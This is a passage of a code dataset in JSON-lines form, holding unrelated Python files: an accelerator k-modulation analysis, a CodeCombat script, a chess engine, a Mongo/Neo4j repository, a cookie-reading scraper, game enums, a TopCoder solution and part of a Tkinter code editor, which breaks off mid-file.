fun(x): return chi2(x, foc_magnet_df, def_magnet_df, plane, kmod_input_params, s, BPM_distance, phase_adv_constraint)\n fitresults = scipy.optimize.minimize(fun=fun,\n x0=kmod_input_params.betastar_and_waist[plane],\n method='nelder-mead',\n tol=1E-22)\n\n results[i, :] = fitresults.x[0], fitresults.x[1]\n\n beta_waist_err = get_err(results[1::2, 0]-results[0, 0])\n waist_err = get_err(results[1::2, 1]-results[0, 1])\n\n return results[0, 0], beta_waist_err, results[0, 1], waist_err\n\n\ndef get_err(diff_array):\n return np.sqrt(np.sum(np.square(diff_array)))\n\n\ndef analyse(magnet1_df, magnet2_df, opt, betastar_required):\n\n for magnet_df in (magnet1_df, magnet2_df):\n LOG.info(f'Analysing magnet {magnet_df.headers[\"QUADRUPOLE\"]}')\n magnet_df = helper.add_tune_uncertainty(magnet_df, opt.tune_uncertainty)\n magnet_df = helper.clean_data(magnet_df, opt.no_autoclean)\n magnet_df = calc_tune(magnet_df)\n magnet_df = calc_k(magnet_df)\n magnet_df = get_av_beta(magnet_df)\n\n LOG.info('Simplex to determine beta waist')\n results = {plane: get_beta_waist(magnet1_df, magnet2_df, opt, plane) for plane in PLANES}\n\n results_df = tfs.TfsDataFrame(\n columns=['LABEL',\n \"TIME\"],\n data=[np.hstack((opt.label,\n datetime.datetime.now().strftime(formats.TIME)))])\n\n for plane in PLANES:\n results_df[f\"{BETA}{WAIST}{plane}\"] = results[plane][0]\n results_df[f\"{ERR}{BETA}{WAIST}{plane}\"] = results[plane][1]\n results_df[f\"{WAIST}{plane}\"] = results[plane][2]\n results_df[f\"{ERR}{WAIST}{plane}\"] = results[plane][3]\n\n LOG.info('Calculate betastar')\n if betastar_required:\n results_df = calc_betastar(opt, results_df, magnet1_df.headers['LSTAR'])\n\n LOG.info('Calculate beta at instruments')\n if opt.instruments_found:\n instrument_beta_df = calc_beta_at_instruments(opt, results_df, magnet1_df, magnet2_df)\n\n\n return magnet1_df, magnet2_df, results_df, instrument_beta_df\n","sub_path":"omc3/kmod/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":15875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"271915105","text":"# https://codecombat.com/play/level/bash-em-all?\n# Будь осторожен с ограми .\n# Это специально обученные, обезжиренное убер-огры. Они очень сильны.\n# Ключевое слово: \"обезжиренные\"\nwhile True:\n enemy = hero.findNearest(hero.findEnemies())\n if enemy:\n if (hero.isReady('bash')):\n hero.bash(enemy)\n else:\n hero.moveXY(40, 34)\n else:\n item = hero.findNearest(hero.findItems())\n if item:\n hero.moveXY(item.pos.x, item.pos.y)\n hero.moveXY(40, 34)\n","sub_path":"Desert/BashEmAll.py","file_name":"BashEmAll.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"606648230","text":"from __future__ import print_function\nimport math \nimport numpy as np\nimport chess\nimport chess.pgn\nfrom collections import defaultdict\nimport random\n\n#param_data: A list of strings containing the optimal parameter data, read from the parameter text file.\nparam_data = open('/Users/PickleTickler/Documents/PythonChess/Parameters.txt')\n#feature_size: Size of the parameter vector chosen for logistic regression model. \nfeature_size = 0\nparam_dic = defaultdict(float)\n# For-loop below reads each entry of the txt file and stores it in the parameter vector. The txt file should\n# contain the optimal parameter, which has learned through one of the learning algorithms\nfor line in param_data:\n\tentry = line.split()\n\tparam_dic[feature_size] = float(entry[0])\n\tfeature_size += 1\n\nparameter = np.zeros(feature_size)\nfor j in range(feature_size):\n\tparameter[j] = param_dic[j]\n\n# Please see notes on any of these functions in either of the learning programs. \ndef piece_squares(board):\n\tmatrix = [[]]\n\tfor i in range(0,6):\n\t\twhite_squares = board.pieces(i + 1, True)\n\t\tfor square in white_squares:\n\t\t\tmatrix.append([i,square])\n\n\tfor i in range(0,6):\n\t\tblack_squares = board.pieces(i + 1, False)\n\t\tfor square in black_squares:\n\t\t\tmatrix.append([i + 6,square])\n\tmatrix.remove([])\n\treturn matrix\n\ndef logistic(input_vec, parameter):\n\tdot_prod = np.dot(input_vec, parameter)\n\treturn 1.0 / (1.0 + math.exp(- dot_prod))\n\ndef chebyshev(u, v):\n\tu_size = len(u)\n\tv_size = len(v)\n\tif (u_size != v_size):\n\t\tprint(\"Error: Chebyshev vectors have incompatible dimensions.\")\n\telse: \n\t\tdiff_max = 0\n\t\tfor i in range(u_size):\n\t\t\tdiff = np.abs(u[i] - v[i])\n\t\t\tif (diff > diff_max):\n\t\t\t\tdiff_max = diff \n\treturn diff_max\n\ndef get_xy(index):\n\tx = index % 8\n\ty = index / 8\n\treturn [x,y]\n\ncenter_squares = [27, 28, 35, 36]\ncenter_vecs = [get_xy(index) for index in center_squares]\n\ndef extraction(board):\n\twhite_count = 0\n\twhite_center = 0\n\twhite_bishops = 0\n\twhite_pair = 0\n\tblack_attacks = np.zeros(6)\n\tfor i in range(0,6):\n\t\twhite_squares = board.pieces(i + 1, True)\n\t\tfor square in white_squares:\n\t\t\tindex = (64.0 * i) + square\n\t\t\tblack_attacks[i] = len(board.attackers(False, square))\n\t\t\tif (i == 1):\n\t\t\t\tindex_vec = get_xy(index)\n\t\t\t\twhite_center += min([chebyshev(index_vec, center_vecs[i]) for i in range(4)])\n\t\tif (i == 2):\n\t\t\t\tif (len(white_squares) == 2):\n\t\t\t\t\twhite_pair = 1\n\tblack_count = 0\n\tblack_center = 0\n\tblack_pair = 0\n\twhite_attacks = np.zeros(6)\n\tfor i in range(0,6):\n\t\tblack_squares = board.pieces(i + 1, False)\n\t\tfor square in black_squares:\n\t\t\tindex = (64.0 * (i + 6)) + square\n\t\t\twhite_attacks[i] = (len(board.attackers(True, square)))\n\t\t\tif (i == 1):\n\t\t\t\tindex_vec = get_xy(index)\n\t\t\t\tblack_center += min([chebyshev(index_vec, center_vecs[i]) for i in range(4)])\n\t\tif (i == 2):\n\t\t\tif (len(black_squares) == 2):\n\t\t\t\tblack_pair = 1\n\tnull = chess.Move.null()\n\tif (board.turn == True):\n\t\twhite_mobility = board.legal_moves.count()\n\t\tboard.push(null)\n\t\tblack_mobility = board.legal_moves.count()\n\t\tboard.pop()\n\telse:\n\t\tblack_mobility = board.legal_moves.count()\n\t\tboard.push(null)\n\t\twhite_mobility = board.legal_moves.count()\n\t\tboard.pop()\n\n\tinput_extra = np.zeros(18)\n\tinput_extra[0:6] = white_attacks\n\tinput_extra[6:12] = black_attacks \n\tinput_extra[12] = white_mobility\n\tinput_extra[13] = black_mobility\n\tinput_extra[14] = white_center\n\tinput_extra[15] = black_center\n\tinput_extra[16] = white_pair\n\tinput_extra[17] = black_pair\n\treturn input_extra\n\ndef evaluate (board):\n\tvalue = 0.0\n\tpiece_tables = np.zeros((12,64))\n\tactive_squares = piece_squares(board)\n\tfor entry in active_squares:\n\t\tindex = entry[0]\n\t\tsquare = entry[1]\n\t\tpiece_tables[index][square] = 1\n\n\tinput_squares = piece_tables.flatten()\n\tinput_extra = extraction(board)\n\tinput_final = np.concatenate((input_squares, input_extra))\n\texponent = np.dot(input_final, parameter)\n\tprob = logistic(input_final, parameter)\n\treturn prob\n\n# Alpha beta is a zero-sum game optimization algorithm whose run time is less than or equal to conventional minimax optimization. \n# It's somewhat complicated, but the basic idea is that alpha beta is identical to minimax, except for its consideration of alpha \n# and beta values, which represent the minimum value the maximizing player can obtain and the maximum value the minimizing player can reach. \n# If alpha >= beta at any point, then one of the players wouldn't allow that particular branch to be chosen, so no point in exploring further. \ndef alpha_beta(board, depth, alpha, beta, player):\n\tif (depth == 0):\n\t\tvalue = evaluate(board)\n\t\treturn [None, value]\n\t#Player 1 is the maximizing player: white. \n\telif (player == 1):\n\t\tmove_values = defaultdict(list)\n\t\t#This for-loop iterates over all of white's moves, recursively analyzing and exploring the game tree. \n\t\tfor move in board.legal_moves:\n\t\t\tboard.push(move)\n\t\t\tvalue = evaluate(board)\n\t\t\tboard.pop()\n\t\t\tif value in move_values:\n\t\t\t\tmove_list = move_values[value]\n\t\t\t\tmove_list.append(move)\n\t\t\t\tmove_values[value] = move_list\n\t\t\telse:\n\t\t\t\tmove_list = []\n\t\t\t\tmove_list.append(move)\n\t\t\t\tmove_values[value] = move_list\n\t\t# Sorted alpha beta pruning is almost guaranteed to work better than non-sorted. That is, the move-value dictionary's\n\t\t# keys (the moves) are sorted ascendingly by their values. The idea is that the extra time required to evaluate the entire list of moves \n\t\t# prematurely is almost always worth it, because pruning is much more likely to occur when sorting takes place. \n\t\tsorted_values = sorted(move_values.iterkeys())\n\t\tsorted_moves = []\n\t\tfor value in sorted_values:\n\t\t\tmoves = []\n\t\t\tmoves = move_values[value]\n\t\t\tsorted_moves.append(moves)\n\t\tfor move_list in sorted_moves:\n\t\t\tfor move in move_list:\n\t\t\t\tboard.push(move)\n\t\t\t\tvalue = alpha_beta(board, depth - 1, alpha, beta, 0)\n\t\t\t\tboard.pop()\n\t\t\t\tif value > alpha:\n\t\t\t\t\talpha = value\n\t\t\t\tif alpha >= beta:\n\t\t\t\t\treturn [None, beta]\n\t\treturn [move, value]\n\n\t# Player 0 is the minimizing player: black. \n\telif (player == 0):\n\t\tmove_values = defaultdict(list)\n\t\tfor move in board.legal_moves:\n\t\t\tboard.push(move)\n\t\t\tvalue = evaluate(board)\n\t\t\tboard.pop()\n\t\t\tif value in move_values:\n\t\t\t\tmove_list = move_values[value]\n\t\t\t\tmove_list.append(move)\n\t\t\t\tmove_values[value] = move_list\n\t\t\telse: \n\t\t\t\tmove_list = []\n\t\t\t\tmove_list.append(move)\n\t\t\t\tmove_values[value] = move_list\n\t\t# Black's moves are sorted, but this time, the moves are sorted descendingly by their values. \n\t\tsorted_values = sorted((move_values.iterkeys()), reverse = True)\n\t\tsorted_moves = []\n\t\tfor value in sorted_values:\n\t\t\tmoves = []\n\t\t\tmoves = move_values[value]\n\t\t\tsorted_moves.append(moves)\n\t\tfor move_list in sorted_moves:\n\t\t\tfor move in move_list:\n\t\t\t\tboard.push(move)\n\t\t\t\tvalue = alpha_beta(board, depth - 1, alpha, beta, 1)\n\t\t\t\tboard.pop()\n\t\t\t\tif value < beta:\n\t\t\t\t\tbeta = value\n\t\t\t\t#Termination condition, because alpha>=beta. \n\t\t\t\tif alpha >= beta:\n\t\t\t\t\treturn [None, alpha]\n\t\treturn [move, value]\n\n#AI is a simple function. It calls on alpha_beta for the optimal move, using a set of specified configurations.\n#Since alpha is the min of a supremum (maximizing player's cost function) and beta is the max of an infinimum, it makes\n#sense to initialize alpha very low and beta very high. \ndef AI(board):\n\talpha = -1000000.0\n\tbeta = 1000000.0\n\tdepth = 3\n\tvalue = 0.0\n\t[opt_move, value] = alpha_beta(board, depth, alpha, beta, 0)\n\tprint('move: ' + str(opt_move))\n\tprint('value: ' + str(value))\n\treturn opt_move\n\n\n## Here we have the main script of the game. At each set of turns, the user is asked to enter a move (in algebraic chess notation). \n## After which, the computer's AI determines an optimal move using alpha beta pruning and its trained predictive model. \ngame = chess.pgn.Game()\nboard = game.board()\nprint(board)\nwhile not game.board().is_game_over():\n\tprint('Your moves: ' + str(board.legal_moves))\n\tentry = raw_input('Enter your move in algebraic chess notation. ')\n\tuser_move = str(entry)\n\tgame.add_main_variation(user_move)\n\tboard.push_san(user_move)\n\tprint('\\n')\n\tprint(board)\n\tprint('Thinking...')\n\tAI_move = AI(board)\n\tprint('Computer played: ' + str(AI_move))\n\tgame.add_main_variation(chess.Move.from_uci(str(AI_move)))\n\tboard.push(AI_move)\n\tprint('\\n')\n\tprint(board)\n\n\n\n\n\t\n","sub_path":"Main/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":8185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"252954819","text":"import os, sys\nsys.path.append(os.getcwd())\n\nfrom bson.objectid import ObjectId\n\nfrom entities import Post\nfrom .mongo_repository import MongoRepository\nfrom .neo4j_repository import Neo4jRepository\n\n\nclass PostsRepository(MongoRepository, Neo4jRepository):\n collection_name = 'posts'\n node_type = 'Post'\n\n def __init__(self):\n MongoRepository.__init__(self)\n Neo4jRepository.__init__(self)\n\n def find_all(self):\n docs = self.collection.find()\n posts = [\n Post(\n id=doc['_id'],\n title=doc.get('title', ''),\n content=doc.get('content', ''),\n ) for doc in docs\n ]\n return posts\n\n def find_by_id(self, id):\n print(id)\n doc = self.collection.find_one({'_id': ObjectId(id)})\n post = Post(\n id=doc['_id'],\n title=doc['title'],\n content=doc['content'],\n )\n return post\n\n def create_post(self, params):\n post_id = self.collection.insert_one({\n 'title': params.get('title', ''),\n 'content': params('content', '')\n }).inserted_id\n\n post = Post(id=post_id, title=params.get('title', ''), content=params.get('content', ''))\n return post\n\n def register_relation(self, lid, rid):\n lnode = graph_database.find_one('Post', object_id=lid)\n if (not lnode):\n lid = graph_database.nodes.create(object_id=lid)\n\n rnode = graph_database.find_one('Post', object_id=rid)\n if (not rnode):\n rid = graph_database.nodes.create(object_id=rid)\n\n lnode.relationships.create('RELATED', rnode)\n rnode.relationships.create('RELATED', lnode)\n\n\n def find_related_posts(self, id):\n with self.graph_database.session() as session:\n with session.begin_transaction() as tx:\n for record in tx.run(\"MATCH (a:Posg)-[:RELATED]->(f) \"\n \"WHERE a.post_id = {id} \"\n \"RETURN f.id\", id=id):\n print(record)\n","sub_path":"backend/repositories/posts_repository.py","file_name":"posts_repository.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"155293146","text":"import requests\n\nfrom app.core.config import EXTERNAL_SOURCE_URL\n\n\nclass ExternalService:\n @staticmethod\n def get_jobs(job_title, country, salary_min, salary_max):\n \"\"\"Get a contact from bitrix\"\"\"\n params = ExternalService.define_parameters(country, job_title, salary_max, salary_min)\n job_list = requests.get(EXTERNAL_SOURCE_URL, params=params)\n return job_list.json()\n\n @staticmethod\n def define_parameters(country, job_title, salary_max, salary_min):\n params = {}\n if job_title:\n params['name'] = job_title\n if country:\n params['country'] = country\n if salary_min:\n params['salary_min'] = salary_min\n if salary_max:\n params['salary_max'] = salary_max\n return params\n\n\nexternal_service = ExternalService()\n","sub_path":"app/services/external_service.py","file_name":"external_service.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"638216498","text":"import requests\n\n\nDEFAULT_REQUEST_HEADERS = {\n\n'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Encoding':'gzip, deflate',\n'Accept-Language':'zh-CN,zh;q=0.9',\n'Cache-Control':'max-age=0',\n'Connection':'keep-alive',\n#'Cookie':'__cdnuid=713e04c47f93070d828c97e375a957f1; PHPSESSID=0u71au7irrgkhih8h29c3e1ne6',\n'Host':'m.biquyun.com',\n'Referer':'https://m.biquyun.com/',\n'Upgrade-Insecure-Requests':'1',\n'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n }\n\n\nurl = 'http://m.biquyun.com/'\nresponse = requests.post(url,headers=DEFAULT_REQUEST_HEADERS)\n\nresponse = response.cookies\nprint(response)\ncookie = requests.utils.dict_from_cookiejar(response)\nprint(cookie)\nck_jar = requests.utils.cookiejar_from_dict(cookie)\nprint(ck_jar)","sub_path":"biqu_spider_master/myspider/spiders/cookies.py","file_name":"cookies.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"358906507","text":"def enum(kv):\n i = iter(kv)\n dic = dict(zip(i, i))\n rev = {v: k for k, v in dic.items()}\n\n def f(key):\n return dic.get(key, \"\".format(key))\n def _reverse_enum(val):\n return rev[val]\n f.value_for_description = _reverse_enum\n return f\n\nrarity = enum([\n 1, \"Normal\",\n 2, \"Normal+\",\n 3, \"Rare\",\n 4, \"Rare+\",\n 5, \"SR\",\n 6, \"SR+\",\n 7, \"SSR\",\n 8, \"SSR+\",\n])\n\nattribute = enum([\n 1, \"Cute\",\n 2, \"Cool\",\n 3, \"Passion\",\n 4, \"Office\",\n])\n\nskill_type = enum([\n 1, \"PERFECT分数加成\",\n 2, \"PERFECT/GREAT分数加成\",\n 4, \"COMBO加成\",\n 5, \"GREAT改PERFECT\",\n 6, \"GREAT/NICE改PERFECT\",\n 7, \"GREAT/NICE/BAD改PERFECT\",\n 9, \"COMBO不中断\",\n 12, \"锁血\",\n 14, \"过载\",\n 17, \"恢复生命\",\n])\n\nskill_probability = enum([\n 2, \"小概率\",\n 3, \"中概率\",\n 4, \"高概率\",\n])\n\nskill_length_type = enum([\n 1, \"一瞬间\",\n 2, \"较短时间\",\n 3, \"短时间\",\n 4, \"稍长时间\",\n 5, \"较长时间\",\n])\n\nlskill_target = enum([\n 1, \"所有Cute\",\n 2, \"所有Cool\",\n 3, \"所有Passion\",\n 4, \"所有\",\n])\n\nlskill_effective_target = enum([\n 1, \"ca_cute\",\n 2, \"ca_cool\",\n 3, \"ca_passion\",\n 4, \"ca_all\",\n])\n\nlskill_param = enum([\n 1, \"Vocal表现值\",\n 2, \"Visual表现值\",\n 3, \"Dance表现值\",\n 4, \"全表现值\",\n 5, \"生命\",\n 6, \"技能发动概率\",\n])\n\nlskill_effective_param = enum([\n 1, \"ce_vocal\",\n 2, \"ce_visual\",\n 3, \"ce_dance\",\n 4, \"ce_anyappeal\",\n 5, \"ce_life\",\n 6, \"ce_skill\",\n])\n\napi_char_type = enum([\n 1, \"cute\",\n 2, \"cool\",\n 3, \"passion\",\n 4, \"office\"\n])\n\nlskill_target_attr = enum([\n 1, \"cute\",\n 2, \"cool\",\n 3, \"passion\",\n 4, \"all\",\n])\n\nlskill_target_param = enum([\n 1, \"vocal\",\n 2, \"visual\",\n 3, \"dance\",\n 4, \"all\",\n 5, \"life\",\n 6, \"skill_probability\",\n])\n\nskill_class = enum([\n 1, \"s_scorebonus\",\n 17, \"s_heal\",\n 4, \"s_combobonus\",\n 5, \"s_pl\",\n 9, \"s_cprot\",\n 7, \"s_pl\",\n 2, \"s_scorebonus\",\n 6, \"s_pl\",\n 12, \"s_life\",\n 14, \"s_overload\",\n])\n\nstat_dot = enum([\n 1, \"m_vi\",\n 2, \"m_da\",\n 3, \"m_vo\",\n 4, \"m_ba\",\n 5, \"m_ba\",\n 6, \"m_ba\",\n 7, \"m_ba\",\n])\n\nstat_en = enum([\n 1, \"这张卡数值最高的是Visual\",\n 2, \"这张卡数值最高的是Dance\",\n 3, \"这张卡数值最高的是Vocal\",\n 4, \"这张卡数值较为均衡\",\n 5, \"这张卡数值较为均衡(Visual较高)\",\n 6, \"这张卡数值较为均衡(Dance较高)\",\n 7, \"这张卡数值较为均衡(Vocal较高)\"\n])\n\n# TODO need enum defs for\n# constellation\n# blood_type\n# hand\n# personality\n# home_town\n","sub_path":"enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"401767639","text":"\"\"\"\nhttp://community.topcoder.com/stat?c=problem_statement&pm=1225\n\nSingle Round Match 147 Round 1 - Division I, Level One\nSingle Round Match 147 Round 1 - Division II, Level Two\n\"\"\"\n\n\nclass PeopleCircle:\n def order(self, numMales, numFemales, K):\n numTotal = numMales + numFemales\n circle = ['M'] * numTotal\n numLeft = numTotal\n p = -1\n for _ in range(numFemales):\n offset = K % numLeft\n if offset == 0: # One person can not be removed twice\n offset += numLeft\n while offset:\n p += 1\n if p >= numTotal:\n p -= numTotal\n if circle[p] == 'M':\n offset -= 1\n circle[p] = 'F'\n numLeft -= 1\n return ''.join(circle)\n","sub_path":"srm147/PeopleCircle.py","file_name":"PeopleCircle.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"611687981","text":"import os, sys\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import filedialog\r\nfrom tkinter import simpledialog\r\nfrom tkinter import messagebox\r\nfrom tkinter import font\r\nimport scripts.version as version\r\nimport scripts.conversions as conversions\r\nimport scripts.github_get as github_get\r\nimport json\r\nfrom functools import partial\r\nimport subprocess\r\nfrom PIL import Image, ImageTk\r\nimport importlib\r\nimport traceback\r\nimport time\r\n\r\ndef reload_program(t):\r\n t.window.force_quit()\r\n os.startfile(__file__)\r\n\r\nclass modded_window(Tk):\r\n\r\n def __init__(self, *args):\r\n super(modded_window, self).__init__(*args)\r\n\r\n def quit(self):\r\n if messagebox.askyesno(\"?\", \"Are you sure you want to quit?\"):\r\n self.tk.quit()\r\n \r\n def force_quit(self):\r\n self.tk.quit()\r\n\r\n def destroy(self):\r\n if messagebox.askyesno(\"?\", \"Are you sure you want to quit?\"):\r\n self.tk.quit()\r\n\r\nclass TurtleCode:\r\n\r\n def __init__(self):\r\n \r\n # Files\r\n with open(\"config.json\") as s:\r\n self.config = json.load(s)\r\n with open(\"files/styles.json\") as s:\r\n self.style = json.load(s)[self.config[\"default_style\"]]\r\n with open(\"files/file_icons.json\") as s:\r\n self.file_icons = json.load(s)\r\n self.sel_language(self.config[\"default_lang\"])\r\n\r\n # Variable declaration START\r\n\r\n self.file_path = None\r\n self.project_path = None\r\n \r\n self.file_text = \"\"\r\n self.current_indent = 0\r\n self.needs_saving = False\r\n self.plugin_menus = []\r\n self.default_font = (self.config[\"default_font\"], self.config[\"default_font_size\"])\r\n\r\n self.version_num = int(version.get_version_num())\r\n\r\n self.window = modded_window()\r\n \r\n img = Image.open(\"files/images/folder_icon.png\")\r\n img = img.resize((16,16), Image.ANTIALIAS)\r\n self.project_view_folder_image = ImageTk.PhotoImage(img)\r\n img = Image.open(\"files/images/languages/default.png\")\r\n img = img.resize((16,16), Image.ANTIALIAS)\r\n self.project_view_default_image = ImageTk.PhotoImage(img)\r\n \r\n temp = {}\r\n for exten in self.file_icons:\r\n path = self.file_icons[exten]\r\n img = Image.open(path)\r\n img = img.resize((16,16), Image.ANTIALIAS)\r\n image = ImageTk.PhotoImage(img)\r\n temp[exten] = image\r\n self.file_icons = temp\r\n \r\n self.text_box_scrollbar = Scrollbar(self.window)\r\n\r\n self.main_text_box = Text(self.window, font=self.default_font, yscrollcommand=self.text_box_scrollbar.set, bg=self.style[\"fir_bg_col\"])\r\n self.main_text_box_height = None\r\n\r\n self.text_box_scrollbar.config(command=self.custom_scroll_bind)\r\n\r\n self.autofill_size_frame = Frame(self.window, width=self.config[\"autofill\"][\"default_box_width\"])\r\n self.autofill_listbox = Listbox(self.autofill_size_frame, bg=self.style[\"sec_bg_col\"])\r\n self.autofill_width = self.config[\"autofill\"][\"default_box_width\"]\r\n\r\n self.menu_bar = Menu(self.window)\r\n self.edit_menu = Menu(self.menu_bar, tearoff=0)\r\n self.file_menu = Menu(self.menu_bar, tearoff=0)\r\n self.run_menu = Menu(self.menu_bar, tearoff=0)\r\n self.language_menu = Menu(self.menu_bar, tearoff=0)\r\n self.language_options = Menu(self.language_menu, tearoff=0)\r\n self.config_menu = Menu(self.menu_bar, tearoff=0)\r\n self.plugins_menu = Menu(self.menu_bar, tearoff=0)\r\n self.plugin_run_menu = Menu(self.menu_bar, tearoff=0)\r\n\r\n self.status_bar_value = StringVar()\r\n self.status_bar = Label(self.window, textvariable=self.status_bar_value, font=self.default_font, relief=SUNKEN, anchor=W)\r\n\r\n # You can tell why I hate ttk. It doesnt even work. I give up.\r\n style = ttk.Style()\r\n style.configure(\"Treeview\", foreground = 'maroon', fieldbackground=\"#383838\", background=\"#383838\")\r\n self.project_tree_frame = Frame(self.window, width=self.config[\"project_view\"][\"default_box_width\"])\r\n self.project_tree = ttk.Treeview(self.project_tree_frame, style=\"Treeview\")\r\n self.project_tree_drag_anchor = (0,0)\r\n self.project_tree_width = self.config[\"project_view\"][\"default_box_width\"]\r\n \r\n #self.console_frame = Frame(self.window, height=120)\r\n #self.console_content = Listbox(self.console_frame, bg=self.style[\"console_bg_col\"], selectmode=NONE)\r\n \r\n self.language_fetcher = github_get.GithubFetcher(\"https://raw.github.com/Mr-Turtle/TurtleCode/main/languages/\")\r\n self.plugin_fetcher = github_get.GithubFetcher(\"https://raw.github.com/Mr-Turtle/TurtleCode/main/plugins/\")\r\n ## ^^^ Do not use this yet ^^^\r\n # Variable declaration END\r\n\r\n self.plugins = {}\r\n self.import_plugins()\r\n\r\n self.window_setup()\r\n self.menu_bar_setup()\r\n self.bindings()\r\n self.pack_widgets()\r\n self.call_plugin_func(\"on_start\", {})\r\n self.window.mainloop()\r\n self.call_plugin_func(\"on_quit\", {})\r\n\r\n def window_setup(self):\r\n\r\n self.window.config(bg=self.config[\"window\"][\"bg_col\"], menu=self.menu_bar)\r\n self.window.geometry(self.config[\"window\"][\"size\"])\r\n self.window.title(self.config[\"window\"][\"title\"].replace(\"{VERSION}\", str(self.version_num)))\r\n\r\n def menu_bar_setup(self):\r\n\r\n self.file_menu.add_command(label=\"New\", command=self.MENU_new)\r\n self.file_menu.add_command(label=\"Open\", command=self.MENU_open_file)\r\n self.file_menu.add_command(label=\"Open folder as project\", command=self.MENU_open_project)\r\n self.file_menu.add_separator()\r\n self.file_menu.add_command(label=\"Save\", command=self.MENU_save_file)\r\n self.file_menu.add_command(label=\"Save As\", command=self.MENU_saveas_file)\r\n self.file_menu.add_separator()\r\n self.file_menu.add_command(label=\"Exit\", command=self.window.quit)\r\n\r\n self.menu_bar.add_cascade(label=\"File\", menu=self.file_menu)\r\n\r\n self.edit_menu.add_command(label=\"Undo\", state=DISABLED)\r\n self.edit_menu.add_command(label=\"Redo\", state=DISABLED)\r\n self.edit_menu.add_separator()\r\n self.edit_menu.add_command(label=\"Cut\", state=DISABLED)\r\n self.edit_menu.add_command(label=\"Copy\", state=DISABLED)\r\n self.edit_menu.add_command(label=\"Paste\", state=DISABLED)\r\n self.edit_menu.add_command(label=\"Delete\", state=DISABLED)\r\n self.edit_menu.add_command(label=\"Select all\", state=DISABLED)\r\n self.edit_menu.add_separator()\r\n\r\n self.menu_bar.add_cascade(label=\"Edit\", menu=self.edit_menu)\r\n\r\n self.language_menu.add_command(label=\"View language info\")\r\n self.language_menu.add_separator()\r\n\r\n for lang in os.listdir(\"files/languages/\"):\r\n if \".json\" in lang:\r\n j = json.load(open(\"files/languages/\" + lang))\r\n name = j[\"name\"]\r\n self.language_options.add_command(label=name, command=partial(self.MENU_select_language, lang))\r\n\r\n self.language_menu.add_cascade(label=\"Change language\", menu=self.language_options)\r\n self.language_menu.add_command(label=\"Add language\", command=self.MENU_add_language)\r\n \r\n self.menu_bar.add_cascade(label=\"Language\", menu=self.language_menu)\r\n\r\n self.run_menu.add_command(label=\"Run Script\", command=self.MENU_run_script)\r\n self.run_menu.add_command(label=\"Compile Script\", command=self.MENU_compile_script)\r\n self.run_menu.add_command(label=\"Compile and run\", command=self.MENU_compile_run)\r\n self.run_menu.add_separator()\r\n self.run_menu.add_command(label=\"Configure run settings\", command=self.MENU_config_run, state=DISABLED)\r\n\r\n self.menu_bar.add_cascade(label=\"Run\", menu=self.run_menu)\r\n \r\n self.config_menu.add_command(label=\"Configure Turtle Code\", state=DISABLED)\r\n self.config_menu.add_command(label=\"Configure styles\", command=self.MENU_configure_styles)\r\n self.config_menu.add_command(label=\"Configure languages\", state=DISABLED)\r\n self.config_menu.add_command(label=\"Set style\", command=self.MENU_change_style)\r\n \r\n self.menu_bar.add_cascade(label=\"Configure\", menu=self.config_menu)\r\n \r\n self.plugins_menu.add_cascade(label=\"Plugins\", menu=self.plugin_run_menu)\r\n self.plugins_menu.add_command(label=\"Add plugin\", command=self.MENU_add_plugin)\r\n \r\n self.menu_bar.add_cascade(label=\"Plugins\", menu=self.plugins_menu)\r\n \r\n def pack_widgets(self):\r\n \r\n self.status_bar.pack(side=BOTTOM, fill=X)\r\n self.project_tree_frame.pack(side=LEFT, fill=Y)\r\n self.project_tree.pack(side=LEFT, fill=BOTH, expand=1)\r\n self.project_tree_frame.pack_propagate(False)\r\n self.autofill_listbox.pack(side=RIGHT, fill=BOTH, expand=1)\r\n self.autofill_size_frame.pack(side=RIGHT, fill=Y)\r\n self.autofill_size_frame.pack_propagate(False)\r\n #self.console_frame.pack(side=BOTTOM, fill=X)\r\n #self.console_content.pack(side=BOTTOM, fill=BOTH, expand=1)\r\n #self.console_frame.pack_propagate(False)\r\n\r\n self.text_box_scrollbar.pack(side=RIGHT, fill=Y)\r\n self.main_text_box.pack(expand=1, fill=BOTH)\r\n\r\n def bindings(self):\r\n\r\n self.window.bind(\"\", self.motion)\r\n self.window.bind(\"\", self.update_status_bar)\r\n\r\n self.main_text_box.bind(\"\", self.text_callback)\r\n self.main_text_box.bind(\"\", self.autofill_callback)\r\n self.main_text_box.bind(\"\", self.on_text_configure)\r\n\r\n self.project_tree.bind(\"\", self.project_view_drag)\r\n self.project_tree.bind(\"\", self.project_tree_sel)\r\n self.autofill_listbox.bind(\"\", self.autofill_drag)\r\n \r\n # Key binds\r\n self.window.bind(\"\", self.MENU_save_file)\r\n self.window.bind(\"\", self.MENU_open_file)\r\n self.window.bind(\"\", self.MENU_saveas_file)\r\n self.window.bind(\"\", self.MENU_open_project)\r\n self.window.bind(\"\", self.MENU_run_script)\r\n self.window.bind(\"\", self.MENU_goto_line)\r\n \r\n def custom_scroll_bind(self, *args):\r\n\r\n if self.config[\"set_tags_with_scroll\"]:\r\n self.set_tags(\"mouse\")\r\n self.main_text_box.yview(*args)\r\n \r\n def import_plugins(self):\r\n \r\n for plugin_name in 